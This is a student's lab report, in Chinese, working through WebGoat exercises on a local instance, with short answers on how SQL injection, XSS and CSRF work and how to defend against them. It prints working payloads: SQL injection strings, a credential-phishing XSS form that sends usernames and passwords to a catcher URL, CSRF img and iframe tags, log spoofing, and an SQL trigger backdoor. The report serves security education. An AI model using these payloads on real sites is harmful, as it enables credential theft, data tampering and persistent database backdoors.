20155321 《网络攻防》 Exp9 Web安全基础

基础问题

  • SQL注入攻击原理,如何防御

    • 原理:在事先定义好的SQL语句的结尾上添加额外的SQL语句(感觉一般是或上一个永真式),以此来器执行任意的查询,从而获取相应的数据信息
    • 防御办法:可以在后台控制输入的长度或者是对于一些特殊符号,例如--等禁止用户输入
  • XSS攻击的原理,如何防御

    • 原理:XSS主要分为存储型和反射型。存储型XSS数据库中存有的存在XSS攻击的数据,返回给客户端。若数据未经过任何转义。被浏览器渲染。就可能导致XSS攻击;反射型XSS将用户输入的存在XSS攻击的数据,发送给后台,后台并未对数据进行存储,也未经过任何过滤,直接返回给客户端。被浏览器渲染。就可能导致XSS攻击
    • 防御办法:在输入到输出的过程中进行过滤、转义
  • CSRF攻击原理,如何防御

    • 原理:主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
    • 防御办法:我觉得在页面的链接中尽量不要写自己的隐私信息。对于表单的提交这类操作使用post方法代替get方法。避免使用全站通用的cookie

实验过程

开启webgoat

  • 输入java -jar webgoat-container-7.1-exec.jar

  • 当出现如下信息时则表示成功

  • 在浏览器输入localhost:8080/WebGoat,进入webgoat

1. SQL字符串注入

  • 使用SQL注入查看ID卡号码,根据提示输入Smith,即使用查询语句SELECT * FROM user_data WHERE last_name = 'Smith'查询名为Smith的所有信息

  • 可以发现,这样就轻松得到了名为Smith的ID卡号

  • 还可以构造永真式,即输入'or 1='1,语句就变成SELECT * FROM user_data WHERE last_name = ''or 1='1',这句的意思就是查询lastname='' OR 1='1' ,因1='1'永远为真,即可执行

2. 日志欺骗

  • User Name文本框中输入lrt%0d%0aLogin succeeded !admin达到欺骗登录效果,如下图所示成功:

3. Numeric SQL Injection

  • 可以发现此选择框是一个下拉框,是无法修改,因此可使用BurpSuite抓包修改

  • 在Kali桌面上打开BurpSuite,在BurpSuite中依次选择Proxy->Options->Add添加一个端口,将绑定的端口设为5321,确认后会在Options下增加一行,勾选新形成的这一行



  • 选择浏览器右上方的更多选项卡->preference,在页面左侧选择advanced,选择network页标签,在connection那一行选择setting

  • 在弹出的窗口中设置代理服务器和端口

  • 设置好代理后回到题目页面,点击Go,然后进入BurpSuite中依次选择Proxy->Intercept,可以看到已经抓到了包:

  • 右键选择send to repeater,进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为SELECT * FROM weather_data WHERE station = 101 or 1=1



  • 回到Proxy中点击Intercept is on对剩下的包不作处理,回到火狐发现已经成功

4. Command Injection

  • 我们看到这一题的选择框是一个下拉框,在当前网页上无法修改,使用BurpSuite抓包修改

  • 在题目页面点击view,然后进入BurpSuite中,在repeater页标签的Params选项中先运行一次,查看数据都提交的位置,显示破解成功。

5. Phishing with XSS 跨站脚本钓鱼攻击

  • 在webgoat找到xss攻击打开Phishing with XSS

  • 在输入框中输入以下代码,点击search出现登录框:
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div> </div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

  • 在登录框中输入用户名、密码,点击登录后则跳出弹框,里面包含了刚刚输入的用户名、密码,攻击成功

6. Stored XSS Attacks 存储型XSS攻击

  • 打开Stored XSS Attacks

  • Message框中输入<script>alert("20155321linruting");</script>

  • 提交后会有对话框,如下所示。攻击成功

7. Reflected XSS Attacks 反射型XSS攻击

  • 打开xss的第三个攻击

  • code框中输入<script>alert("20155321linruting");</script>

  • 点击Purchase出现对话框,攻击成功

8. Cross Site Request Forgery(CSRF)

  • 打开CSRF

  • 查看页面Parameters中的src和menu值

  • title框中输入学号,message框中输入代码

    <img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>

  • 提交后生成一个链接20155321

  • 点击学号名即可查看用户操作的信息,攻击成功

9. CSRF Prompt By-Pass

  • 打开CSRF Prompt By-Pass

  • 查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

  • 提交后生成一个链接20155321

  • 点击学号名即可查看用户操作的信息,攻击成功

10. LAB:SQL Injection

  • 使用工具firebug,可显示当前网页的源码并直接在其中修改

  • 使用用户Neville进行登录,在密码栏中输入' or 1=1 --进行SQL注入,本以为会成功,但是登录失败,查看源码发现输入框对输入的字符长度进行了限制,最多允许输入8个字符。



11. Blind Numeric SQL Injection

  • 在输入框输入101,运行后发现返回Account number is valid,说明这个数是合法的

  • 构造输入语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 数值 );根据返回结果判定合法范围



  • 使用二分法进行测试,确定值是2364,输入2364后破解成功





12. Database Backdoors

  • 输入101可得到该用户信息

  • 再输入语句101; update employee set salary=666666成功可将该用户的工资变成666666,如下图所示成功

  • 再输入语句101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155321@qq.com' WHERE userid = NEW.userid

    ,当表中有新用户时则新用户的邮箱则为自己设置的邮箱

实验体会

  • 我觉得通过本次实验还是收获不少的,在webgoat上实现SQL注入、XSS攻击和CSRF等还是比较顺利的,而且我觉得webgoat上不太懂原理和操作的时候,还可以看网页上的提示,虽然是英文的,但是目前以我们的英语水平还是可以懂个大概的,若实在看不懂,放在百度翻译上也是没问题的~

20155321 《网络攻防》 Exp9 Web安全基础的更多相关文章

  1. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  2. 《网络攻防》Web安全基础实践

    20145224陈颢文 <网络攻防>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御: 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数 ...

  3. 20155334 《网络攻防》 Exp9 Web安全基础

    <网络攻防> Exp9 Web安全基础 一.实验后回答问题 SQL注入攻击原理,如何防御: 原理: 就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服 ...

  4. 20145335郝昊《网络攻防》Exp9 Web安全基础实践

    20145335郝昊<网络攻防>Exp9 Web安全基础实践 实验内容 理解常用网络攻击技术的基本原理. 完成WebGoat实践下相关实验 实验步骤 XSS注入攻击 Phishing wi ...

  5. 20155208徐子涵《网络对抗》Exp9 Web安全基础

    20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...

  6. 20155304 《网络对抗》Exp9 web安全基础实践

    20155304 <网络对抗>Exp9 web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 攻击原理:web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应 ...

  7. 20155306白皎 《网络对抗》 Exp9 Web安全基础实践

    20155306白皎 <网络对抗> Exp9 Web安全基础实践 一.基本问题回答 SQL注入攻击原理,如何防御 原理是: 就是通过把SQL命令插入到"Web表单递交" ...

  8. 20145233《网络对抗》Exp9 Web安全基础实践

    20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  9. 2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165315<网络对抗技术>Exp9 Web安全基础 目录 一.实验内容 二.实验步骤 1.Webgoat前期准备 2.SQL注入攻击 Command Inje ...

随机推荐

  1. [Ubuntu] 解决 ubuntu 升级时 /boot 空间不足

    经常升级Linux内核,导致更新时警告/boot分区空间不足.这是以为多次升级内核后,导致内核版本太多,清理一下没用的内核文件就行了. 原文地址请保留http://www.cnblogs.com/ro ...

  2. 团队项目个人进展——Day10

    一.昨天工作总结 冲刺第十天,与小组成员任务合并,并解决结合后的一些问题. 二.遇到的问题 界面还是不太和谐 三.今日工作规划 对页面的布局.wxss做了一些修改

  3. Zabbix添加Ping外网IP监控

    1.先添加一个HOST,只填写IP即可,如10.1.1.1 2.选择一台客户端,新建item,如下: 3.新建trigger: 注:icmpping[<target>,<packet ...

  4. Spark 集群搭建

    0. 说明 Spark 集群搭建 [集群规划] 服务器主机名 ip 节点配置 s101 192.168.23.101 Master s102 192.168.23.102 Worker s103 19 ...

  5. 阿里云朱照远: AI打开新视界 8K时代已来!

    2018年4月11-12日,2018亚太CDN峰会在北京隆重召开,大会由亚太CDN领袖论坛.电视云论坛.短视频论坛.视频云论坛.新技术论坛.运营商论坛.国际云论坛等7大部分组成.在亚太CDN领袖峰会上 ...

  6. springmvc 笔记一

    Springmvc 处理流程 所需的包 前端配置器 在web.xml中配置 <!-- 配置前端控制器 --> <servlet> <servlet-name>spr ...

  7. COM动态添加删除成员,类似JavaScript中调用的对象

    在JavaScript中调用对象时,可动态添加删除成员如: var obj=new Object; obj.member1='aaaaa'; obj.fun1=function() { alert(' ...

  8. 启动 uiautomatorviewer 时报 SWT folder '..\lib\location of your Java installation.' does not exist.

    现象,之前本机上的 uiautomatorviewer 一直是好的,最近这段时间无故就不行了,报如标题错误,网上找了各种办法仍无法有效解决,静心细想上一次使用该工具时到目前对本机有做什么跟系统或者工具 ...

  9. [BUG]自己的bug自己解,记一次在变量使用过程引发的bug

    [实现的功能要求]在短信编辑界面,将所有的emoji表情全部插入到编辑区域,其中表情共有5页,每遍历完一页时需要自动翻页重新获取表情并插入,在第5页中只有10个表情 下面先看看这段代码,大家能否看出有 ...

  10. JAVA内存管理 [转]

    首先我们要明白一点,我们所使用的变量就是一块一块的内存空间!!   一.内存管理原理:   在java中,有java程序.虚拟机.操作系统三个层次,其中java程序与虚拟机交互,而虚拟机与操作系统间交 ...